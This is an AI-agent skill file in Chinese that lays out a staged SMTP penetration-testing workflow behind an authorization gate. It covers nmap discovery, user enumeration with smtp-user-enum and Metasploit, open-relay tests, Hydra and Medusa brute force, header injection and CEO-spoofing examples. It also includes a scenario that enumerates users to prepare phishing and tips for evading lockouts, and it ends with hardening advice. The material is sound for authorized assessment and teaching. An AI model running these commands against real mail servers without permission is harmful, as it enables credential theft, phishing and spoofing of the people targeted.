smtp-penetration-testing - SKILL name: smtp-penetration-testingdescription: “Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration.”risk: offensivesource: communityauthor: zebberndate_added: “2026-02-27”⚠️ 仅限授权使用此技能仅用于教育目的或经授权的安全评估。在使用此工具之前你必须获得系统所有者的明确书面许可。滥用此工具是非法的严格禁止。强制性确认门禁在运行任何对目标进行探测、利用、更改、持久化、提取数据或尝试凭据访问的命令之前要求用户说明确切的 目标 URL、IP、账户或资源。要求用户确认书面授权和允许的范围。展示确切的命令并解释其预期效果。等待当前对话中的明确确认。如果没有该确认请保持只读状态仅提供防御性指导。优先使用沙箱、一次性虚拟机或受控实验室。仅限授权使用仅在经授权的安全评估、防御性验证或受控教育环境中使用此技能。SMTP 渗透测试目的对 SMTP简单邮件传输协议服务器进行全面安全评估以识别漏洞包括开放中继、用户枚举、弱认证和配置错误。此技能涵盖横幅抓取、用户枚举技术、中继测试、暴力攻击和安全加固建议。前提条件所需工具# 带有 SMTP 脚本的 Nmapsudoapt-getinstallnmap# Netcatsudoapt-getinstallnetcat# Hydra 用于暴力破解sudoapt-getinstallhydra# SMTP 用户枚举工具sudoapt-getinstallsmtp-user-enum# Metasploit 框架msfconsole所需知识SMTP 协议基础知识电子邮件架构MTA、MDA、MUADNS 和 MX 记录网络协议所需访问权限目标 SMTP 服务器的 IP/主机名测试的书面授权用于枚举和暴力破解的字典文件输出与交付物SMTP 安全评估报告- 全面的漏洞发现用户枚举结果- 发现的有效电子邮件地址中继测试结果- 开放中继状态和利用可能性修复建议- 安全加固指导核心工作流阶段 1SMTP 架构理解组件MTA传输→ MDA投递→ MUA客户端 端口25SMTP、465SMTPS、587提交、2525替代 工作流发件人 MUA → 发件人 MTA → DNS/MX → 收件人 MTA → MDA → 收件人 MUA阶段 2SMTP 服务发现识别 SMTP 服务器和版本# 发现 SMTP 端口nmap-p25,465,587,2525-sVTARGET_IP# 主动服务检测nmap-sV-sC-p25TARGET_IP# SMTP 特定脚本nmap--scriptsmtp-*-p25TARGET_IP# 发现域名的 MX 记录digMX target.comnslookup-typemx target.comhost-tmx target.com阶段 3横幅抓取获取 SMTP 服务器信息# 使用 Telnettelnet TARGET_IP25# 响应220 mail.target.com ESMTP Postfix# 使用 NetcatncTARGET_IP25# 响应220 mail.target.com ESMTP# 使用 Nmapnmap-sV-p25TARGET_IP# 版本检测提取横幅信息# 手动 SMTP 命令EHLOtest# 响应揭示支持的扩展解析横幅信息横幅揭示 - 服务器软件Postfix、Sendmail、Exchange - 版本信息 - 主机名 - 支持的 SMTP 扩展STARTTLS、AUTH 等阶段 4SMTP 命令枚举测试可用的 SMTP 命令# 连接并测试命令ncTARGET_IP25# 初始问候EHLO attacker.com# 响应显示能力250-mail.target.com250-PIPELINING250-SIZE10240000250-VRFY250-ETRN250-STARTTLS250-AUTH PLAIN LOGIN250-8BITMIME250DSN要测试的关键命令# VRFY - 验证用户是否存在VRFY admin2502.1.5 admintarget.com# EXPN - 展开邮件列表EXPN staff2502.1.5 user1target.com2502.1.5 user2target.com# RCPT TO - 收件人验证MAIL FROM:testattacker.comRCPT TO:admintarget.com# 250 OK 用户存在# 550 用户不存在阶段 5用户枚举枚举有效电子邮件地址# 使用 smtp-user-enum 配合 VRFYsmtp-user-enum-MVRFY-U/usr/share/wordlists/users.txt-tTARGET_IP# 使用 EXPN 方法smtp-user-enum-MEXPN-U/usr/share/wordlists/users.txt-tTARGET_IP# 使用 RCPT 方法smtp-user-enum-MRCPT-U/usr/share/wordlists/users.txt-tTARGET_IP# 指定端口和域名smtp-user-enum-MVRFY-Uusers.txt-tTARGET_IP-p25-dtarget.com使用 Metasploituse auxiliary/scanner/smtp/smtp_enumsetRHOSTS TARGET_IPsetUSER_FILE /usr/share/wordlists/metasploit/unix_users.txtsetUNIXONLYtruerun使用 Nmap# SMTP 用户枚举脚本nmap--scriptsmtp-enum-users-p25TARGET_IP# 使用自定义用户列表nmap--scriptsmtp-enum-users --script-args smtp-enum-users.methods{VRFY,EXPN,RCPT}-p25TARGET_IP阶段 6开放中继测试测试未经授权的电子邮件中继# 使用 Nmapnmap-p25--scriptsmtp-open-relay TARGET_IP# 通过 Telnet 手动测试telnet TARGET_IP25HELO attacker.com MAIL FROM:testattacker.comRCPT TO:victimexternal-domain.comDATA Subject: Relay Test This is a test..QUIT# 如果被接受250 OK则服务器为开放中继使用 Metasploituse auxiliary/scanner/smtp/smtp_relaysetRHOSTS TARGET_IP run测试变体# 测试不同的发件人/收件人组合MAIL FROM:MAIL FROM:test[attacker_IP]MAIL FROM:testtarget.comRCPT TO:testexternal.comRCPT TO:testexternal.comRCPT TO:test%external.comtarget.com阶段 7暴力破解认证测试弱 SMTP 凭据# 使用 Hydrahydra-ladmin-P/usr/share/wordlists/rockyou.txt smtp://TARGET_IP# 指定端口和 SSLhydra-ladmin-Ppasswords.txt-s465-STARGET_IP smtp# 多个用户hydra-Lusers.txt-Ppasswords.txt TARGET_IP smtp# 详细输出hydra-ladmin-Ppasswords.txt smtp://TARGET_IP-V使用 Medusamedusa-hTARGET_IP-uadmin-P/path/to/passwords.txt-Msmtp使用 Metasploituse auxiliary/scanner/smtp/smtp_loginsetRHOSTS TARGET_IPsetUSER_FILE /path/to/users.txtsetPASS_FILE /path/to/passwords.txtsetVERBOSEtruerun阶段 8SMTP 命令注入测试命令注入漏洞# 头部注入测试MAIL FROM:attackertest.comRCPT TO:victimtarget.comDATA Subject: Test Bcc: hiddenattacker.com X-Injected: malicious-header Injected content.电子邮件欺骗测试# 伪造发件人测试 SPF/DKIM 防护MAIL FROM:ceotarget.comRCPT TO:employeetarget.comDATA From: CEOceotarget.comSubject: Urgent Request Please process this request immediately..阶段 9TLS/SSL 安全测试测试加密配置# STARTTLS 支持检查openssl s_client-connectTARGET_IP:25-starttlssmtp# 直接 SSL端口 465openssl s_client-connectTARGET_IP:465# 密码套件枚举nmap--scriptssl-enum-ciphers-p25TARGET_IP阶段 10SPF、DKIM、DMARC 分析检查电子邮件认证记录# SPF/DKIM/DMARC 记录查询digTXT target.com|grepspf# SPFdigTXT selector._domainkey.target.com# DKIMdigTXT _dmarc.target.com# DMARC# SPF 策略-all 严格失败~all 软失败?all 中立快速参考基本 SMTP 命令命令用途示例HELO标识客户端HELO client.comEHLO扩展 HELOEHLO client.comMAIL FROM设置发件人MAIL FROM:sendertest.comRCPT TO设置收件人RCPT TO:usertarget.comDATA开始消息正文DATAVRFY验证用户VRFY adminEXPN展开别名EXPN staffQUIT结束会话QUITSMTP 响应代码代码含义220服务就绪221正在关闭连接250正常 / 请求的操作已完成354开始邮件输入421服务不可用450邮箱不可用550用户未知 / 未找到邮箱553邮箱名称不允许枚举工具命令工具命令smtp-user-enumsmtp-user-enum -M VRFY -U users.txt -t IPNmapnmap --script smtp-enum-users -p 25 IPMetasploituse auxiliary/scanner/smtp/smtp_enumNetcatnc IP 25然后手动命令常见漏洞漏洞风险测试方法开放中继高使用外部收件人进行中继测试用户枚举中VRFY/EXPN/RCPT 命令横幅泄露低横幅抓取弱认证高暴力破解攻击无 TLS中STARTTLS 测试缺少 SPF/DKIM中DNS 记录查询约束与限制法律要求只测试你拥有或有权测试的 SMTP 服务器发送垃圾邮件或恶意电子邮件是违法的记录所有测试活动不要滥用发现的开放中继技术限制现代服务器通常禁用 VRFY/EXPN速率限制可能减慢枚举速度某些服务器对有效/无效用户给出相同响应灰名单Greylisting可能延迟枚举响应道德边界绝不要通过发现的中继发送实际垃圾邮件不要为恶意用途收集电子邮件地址将开放中继报告给服务器管理员仅将发现用于经授权的安全改进示例示例 1完整 SMTP 评估场景对邮件服务器进行全面安全评估# 步骤 1服务发现nmap-sV-sC-p25,465,587 mail.target.com# 步骤 2横幅抓取ncmail.target.com25EHLO test.com QUIT# 步骤 3用户枚举smtp-user-enum-MVRFY-U/usr/share/seclists/Usernames/top-usernames-shortlist.txt-tmail.target.com# 步骤 4开放中继测试nmap-p25--scriptsmtp-open-relay mail.target.com# 步骤 5认证测试hydra-ladmin-P/usr/share/wordlists/fasttrack.txt smtp://mail.target.com# 步骤 6TLS 检查openssl s_client-connectmail.target.com:25-starttlssmtp# 步骤 7检查电子邮件认证digTXT target.com|grepspfdigTXT _dmarc.target.com示例 2用户枚举攻击场景为钓鱼准备枚举有效用户# 方法 1VRFYsmtp-user-enum-MVRFY-Uusers.txt-t192.168.1.100-p25# 方法 2带时序分析的 RCPTsmtp-user-enum-MRCPT-Uusers.txt-t192.168.1.100-p25-dtarget.com# 方法 3Metasploitmsfconsole use auxiliary/scanner/smtp/smtp_enumsetRHOSTS192.168.1.100setUSER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt run# 结果显示有效用户[]192.168.1.100:25 - Found user: admin[]192.168.1.100:25 - Found user: root[]192.168.1.100:25 - Found user: postmaster示例 3开放中继利用场景测试并记录开放中继漏洞# 通过 Telnet 测试telnet mail.target.com25HELO attacker.com MAIL FROM:testattacker.comRCPT TO:testgmail.com# 如果 250 OK - 存在漏洞# 使用 Nmap 记录nmap-p25--scriptsmtp-open-relay --script-args smtp-open-relay.fromtestattacker.com,smtp-open-relay.totestexternal.com mail.target.com# 输出# PORT STATE SERVICE# 25/tcp open smtp# |_smtp-open-relay: Server is an open relay (14/16 tests)故障排除问题原因解决方案连接被拒绝端口被阻止或关闭使用 nmap 检查端口ISP 可能阻止 25 端口尝试 587/465使用 VPNVRFY/EXPN 被禁用服务器已加固使用 RCPT TO 方法分析响应时间/代码差异暴力破解被阻止速率限制/锁定放慢速度hydra -W 5使用密码喷洒检查 fail2banSSL/TLS 错误端口或协议错误使用 465 进行 SSL25/587 进行 STARTTLS验证 EHLO 响应安全建议给管理员禁用开放中继- 要求对外部投递进行认证禁用 VRFY/EXPN- 防止用户枚举强制 TLS- 要求所有连接使用 STARTTLS实施 SPF/DKIM/DMARC- 防止电子邮件欺骗速率限制- 防止暴力破解攻击账户锁定- 失败尝试后锁定账户横幅加固- 最小化服务器信息泄露日志监控- 对可疑活动发出警报补丁管理- 保持 SMTP 软件更新访问控制- 仅限授权 IP 访问 SMTP何时使用此技能适用于执行概述中描述的工作流或操作。